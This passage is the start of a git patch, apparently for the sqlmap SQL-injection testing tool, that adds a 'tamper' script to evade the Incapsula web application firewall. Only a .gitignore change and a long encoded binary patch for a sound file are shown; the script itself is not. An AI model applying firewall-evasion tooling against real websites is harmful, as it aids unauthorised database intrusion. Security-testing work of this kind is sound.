From 021288e9dac0416d01dd8b4b03c3683b8dbbadce Mon Sep 17 00:00:00 2001 From: Dtrip Date: Tue, 31 Mar 2015 13:01:41 -0700 Subject: [PATCH 01/29] Working on new Tamper script to bypass Incapsula WAF --- .gitignore | 4 +++- extra/beep/beep.wav | Bin 46772 -> 398068 bytes sqlmap.conf | 26 +++++++++++++------------- tamper/incapsula.py | 28 ++++++++++++++++++++++++++++ 4 files changed, 44 insertions(+), 14 deletions(-) create mode 100644 tamper/incapsula.py diff --git a/.gitignore b/.gitignore index ff18ea7962e..3126b3f42ec 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,7 @@ *.py[cod] +*.bak +*.sw[op] output/ .sqlmap_history traffic.txt -*~ \ No newline at end of file +*~ diff --git a/extra/beep/beep.wav b/extra/beep/beep.wav index 35903d8a853f081e9cbea64469bf1f986ab658e3..78905231aeb03c87062bab853dab66e491df4621 100644 GIT binary patch literal 398068 zcmd?QcbpVO*ET#IChrnOKnx%%K~Yo$QOqI&MldUS1Bw|87*NbP=bSJCii%(WBL-B& zEEq6gL_oqWyOXhfdn-@H5ArJbLu#A*Y7bw(Hw> zV4uD__St^hZFk&h`~Exi+wtk=jIh%G%JR6=Cw6Uvni~-_viFQgq|FOv#E!IyoPP57 zapYh6a;L~Cy+1OfwN5zg^le8-;eTa|{lBX8@uMe>KE73~3BFubUcxE4L0%b`;`&p~ z4a&5ASc4K?n(xOGuUZ<^Z8G&mCbmjT>xS*Mq?%`KE&g>{O<#G{5>5{em9^+=Op)tU`>BjU>_pqIA=p7r!BSACC7EbS+Pp3$)#@uTN~*M)l$(AOvaW%W z`~CSXG>YWHX=MzeQ7Ng$3HtZPAvo1}x*p-2wi8Q9n;PKnF(ABuN`vwF5rTQ`HE5ym z6)$WN)YLjHWBC!o(Km;v@3+R*IFS!z-c(7ID}S}7-%}W?x}9*VrwUKwD=oj5uuOXu zM8ObEKVR~ahIO@#Xh=#;@#W7ed2@Dt8?hD(g~DI071R;Umea6Q;RR8f=PB#3Uvf1s ztW(V+JxD7^DhNsM3=^UpUngoeS#_wUVcNwS+CvRM+uynQz{Q z`1Wh~_5FF#4f>`AtyQY?T3ck59IdUbgSoIxWm#cJOkrQTUe#h$zJj*eL(9loPy6)a zRpu2(;?VZh{0L?>Sv8*MOR9AEt1j(LX@tw7`maf>KrT^R%X5XpYuquBA(AMIFfpQ$ZJQbxkD={z}Pj z`QOG8^cF;v$o%ydUUR9!(-CPszeIDjW@Y$%U_@4{9{QRNRwFZ!z_y=jg{&=Ckq(38I; z_LbI@h`k_In~}Xpl6oC){3XOf}?eX6V}mKT32{Ff}nMnul0j*kRP_xUPPv~ zbWUVCrJeYZv{D+booFcAa4b@8NgDLpJbqZB>LMPhrC|$QrcYiHy-r)=Dj9#JeS&$7 zBGD*KDT#l-U%y7nXnrd}3VYN#{+!PH^)-g_t0D=ARov<_u?(i#tF~oM_<~*OttF1Kuk=*OX>#>< z3yM#bDqZ2V6h}30K~GW&YWjT(zGzlYl|}GZX-b?r)w$}}lxy4S{zN03`fdHuw4|qf z(ITuV{uNqtx_(PtKgA7NR^tUxmA?KJX?07HR>u8rB-)G0X&WgE$6qVqg?(0QJ*6Ag z)CgfeVNH<-Qv6Qvq{aYlBsdM6&96y@I52GtBsfD%|1ixHMB`0Y$ zt)Q&B-=JN!lAq_t5cF_b*%qRqC4L-TPtlW9>kCIxe@vPuIcdvkTB1{lt+XXF|J@TC zN&gAAWx4hvc#>AL)7rY7s_|NiSMXJ;OF@5?C33V^@gS*^`Af~~idOZs@?I#tCij1j zqcC=5xfMXi`t8hf3t92@CDmu-jx*pnA^Zrc~ z)#9%nDba$GYPPyITAO<63fhYXWs(o4)nv_US6WNUDgU~agfFScn@>eE>_f`cA{CjW zE$b+$U&o&p3`r|np&F->C-$m7@*7SoW6^d&UG0H6+UZp1E3K=^$WvDkNn2AY{;O%~ zXhf@es&K@Mwi5J8j*cOSs5M2yj}eSfc@>^`7rSt(aVmXO>S}F`E1pzZiBgSI$*b-w z*a})l*HQCCSIMLlP9@4V-bvC zOn$jPueF*-)H*@mEtLd~I>D=Y#FhG@7fuCD^L0+i!ew%G9h6kcf~M2z)_x4t!eKqZ z^=k%oq@*flU}?En z>bQg>x{_AY@XM4p&C&Y)npS#N7V;ZTmHxlswxlVsDI6V{uB(=au1dqPH(wUJ>akK< z&0A1g>*!oKGA&_FysEUCm!JnJRnx4-lbBnQRmW5o)$RN;zeccbf*Vf#7COGlT-Z*P zb*t$p{JgML&|9?r}~t7C}5IQImPmRi$dYmNb+sXjQ3SOM z`nAQkq{>T6zQm`b|DCSHpi}W&J(W7pi_U9n#n&>4N>aa#w$iz1(w6D)tK5h`Eh{l;$150*l!HiNYmq8@DG5^ZUW1x~+Pr>s ze6f>MVy3oS)jeqo>Pfu+MptlEDmaohUjxyoOa+OlmMX5FBhmTw{CTnU^K{)5m%o*m znxk`qCSG+L1vx=I!4G;-rGLv4d_PvW9@TVIBsw0yj^u-BFd`+ZY=M?I)nxyU7mP%r zR&^#qu=Xla;fbx3gQ;J)GL~w{%HD4m*3xD19Zt2izb-nj5&X6Da}`1mw=#as(Yc_F z_>{CcJ@Qq}CG~3xW@WtuH>e?{VCt{ae~0e3RG8J{RW+!@uH;mr2uES~OOltmYP8BI zL{~*z8Mk2QG^nHO{V0APeyK(f?Qp8&6kW}cS_)z~{qN#eXxc{m5zmsgBnjH965|rv zV2oO>HFQpFG)L$DPi11SQysbHNwmQ@S<;a(SIH4ekp=a`QteS8`|$-qQspb?QQHf0 z%km(8&_>Dp8veX^^4FSjULuoJxGkqj>i?B^!YOqGTc>`mj!N(phUV+?ze5jd36AzI zcp_mcynjlyZqQ5EPSsG=NYE=&t<{puAEzLyRNMP?bS&W*rL63vBx!Z7NQ0^0Uu7(n zt)z7P82-FpU-7HO;@9%yiGQ)IOq=s1mVRWhRuTArMI!e~S!=G8gWiNIspzvTd7TDr zwI|W2W>t+RIFxBWs-%7eJDiF%n6l)@3|mQj&7}%WqX?Q#nX7IseDNPn6{>LkB|#Si z?L#;!4VJ`8QbDesYD}FIyh@Hp6qah0AWur-y`@y6h?P$L?I3zg{rRAdNUG_mNR__i zwJ&8Uzu{C{X^U#Se`BX~7-91{kp~RqhK9$Ew!GGLwJ>5v|Xi4 zJXG^1GD)cuy!_skq-75hqeiJj&^m%ej_7GAF@!7faH=(ww$j&H8Y9dLYWgG4n&Mqc zMOK|t&0BMRf_%XZr@DTkPam3FEe@#x zH-S|25aKF{_Mme?1c@}929bl_1YM9+8b*+^vXxRWZCNJx)wReC*3{1tTS=8}*t zX-h~7Lp+ORxGemjN6iiLEANihtR9PSB^vSXPem5Q3VQxGGL5NPQT+;zibU&ZuM(rA zl@iUVmaDW=S~})%nHFKGpQoidCm8>%Cz|2ZZ>hbLTdh@;wU%ftZ5#HWZNfRRX$gfg z@u&4A*LdSSCg}f}Z^BsB5d1AKDAm(SP0i7{uup}h<<(-)HbH5yREebRf)Udj zZPnGhmX1nvDmfw%55&|w;c9cjVnBVB*IfxA_<~3A8)ld6_Vgq zA_h6SR@!G!qnh_%wEj}1wx6S83;We&Kbnq-Ty<&9V4TAD`>V9C)S|v1GZhUgF2NZji&6VA(wCjk^FEC!{wHAs>>9YzY>f1lT=BnmxL>66HK#F zY9C5ZJpOaNbUlL}nzvNGR9t>P+Ox#0b;3FE>cC}C|~uI58*HCniq{%FHm3NdV< zJ&J8ugE&E+l&c|%ES&24geAIM9WTiJZ%aXasYj5@l5PioUi2kZGF4)pRw9$M8dvf7 ztNm133a&`BZqQDZ#9#HaWu2C#LBxNjOD%~vXfL%1bAuKwNj0u$iLEMAE)vZV9e=9z z$gQ-|*5O=GSK|cvI+EtmwQXe#;#Encq%FjoUoJe+4tow;2V?YGg^|QkTU2rwiFlM$ zv;|Bh+SDyxDsnH)jnw#My<}1 zSd@PAc)I3cTtNuhhPl=7MMuf}@rgux)tsQ8V0-v6RGdL=jiP;OURYP5Db27nNWZcA7}w4gOh(l)`oveL4DE{h+n8RS&f*6%wk)iu&F1bJa}EfqYnwt9@&Ikx8oSpmh{a$~ro+sU``^L_@g2xP+^<{)ri6DT*M1-*-4ljiO^CFMNre;!8-l_Y5A*RG60EVPYq#7@%67)4S&m1x3Jh2yV@ z-*;GBmBn{;snkm2=$w`{$E%KAO*(DgccP_QDP8}s-%6p2 zRB)?%YECPR7cPg#$W&Odn+JB`$QPGbG1RK@0xLoloHluUk` zOO<6%s_Uk65}U*jwD3!V64BRbwOGlMOWB9@gQ!xXjpW0r!js4-)%mb)xcqN$wT{Ff zsY0vt7qnbDE(ggq%~b2=gw zxvrhg38LoEyKr@?xcZkl>Zw$Ir5sMRu0~Wk;j+@KE)(5qI{%(0*g*?b^8W_)C<)d# zDF5$E%A#6Z2eFi2;Yq5akyg=olu4{wDwbL=oD*GT{om+|rKFX$l6WKyqH8;mS4R*l zfBl&ETS-}TB^AC(EAd4yoKj!n3(JCKt*3L^Qgjtw5LIN72BpE0=%~~$qgR$I(`xZ3 zy)as^T&?8C(!Rp=)Dj&{rDYJmT0~)uYJOswDbBnZnjG(N(BYl9XI^2?|Rh6<#G;P($k}>uS<4hV~==D%1bJI<(^zjEm)9 zWMQqal=?xQE-UGp{5iB*YUm3fO-iR0xx9pblpbV%1v=+1)v<9>elm(SQR>X>= zL2W_nfjanzJj!ek@p7Pg5OG$3{sb-in^-2F{-|q4%t#cJ0M&q6{Y|YSiilkcN`Yb^ z`e55JX2!>ON%ZHBm$=lAgNU8{o5*8bSa%_o#Xo&94%UZ0nG%Cnpd^`uX)?3Ifk;*pql{wB5weG!NHOc@_jA@Ug$;}c?;a$dyq-^*2H zMZBlv(xOoYmdGcf|NnNC;uuiNa#|Cw(-FIU1A|`z@9>yzuSMD+6l9-vN9*KFe zrJN*vjXp_!|Evcu+7g>>$@XHqGUZtGk3H%VgLUF~lQAdvjM%(y^vPHxcHTqc5KrBW z)=j?1XWi(VF|hrJK|J=al_1U?>|5+t9OoS4{{F%K>%ZT;?<})VNWUPqv;*;_uMvyB zSRZK@8H=o|v@z|aZxNID(w`-Mjy>AQIN=!KJjb}1${fYmdGC2KcE-#8Dg9L1oP4?8 zjDr_#h%fii-=`#Q)|2{-N9GA>2i_B6u$`$dI82GlD}3J=2kTl5gT8o4pQA0?D(suK ztP9(aF_EZ8eUh}Zq_h_d+K^bLoIb2g${>b~ud&&Coq96M9_d)hWfBQ0iwgLMC z?-%>r@1Q?G%*(vSd&s^*Y}zm`;t)@sS2EW#UYQSw8}85S+vG83-bc9y9Fwdg@!2;1 zc3``)Ouk&KBlUUz7#E3o`sPJFwwwRH$UPty`F;|A(q?l1WlYgl?iumvTjoRhl-R5J zlzS=nQ|jTzVeHZd%-v-Rf*pQU%E<`!=Y

cmi_HVe{wM%)>lYkVI1@?@l&6=yrg}k|M=TR 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 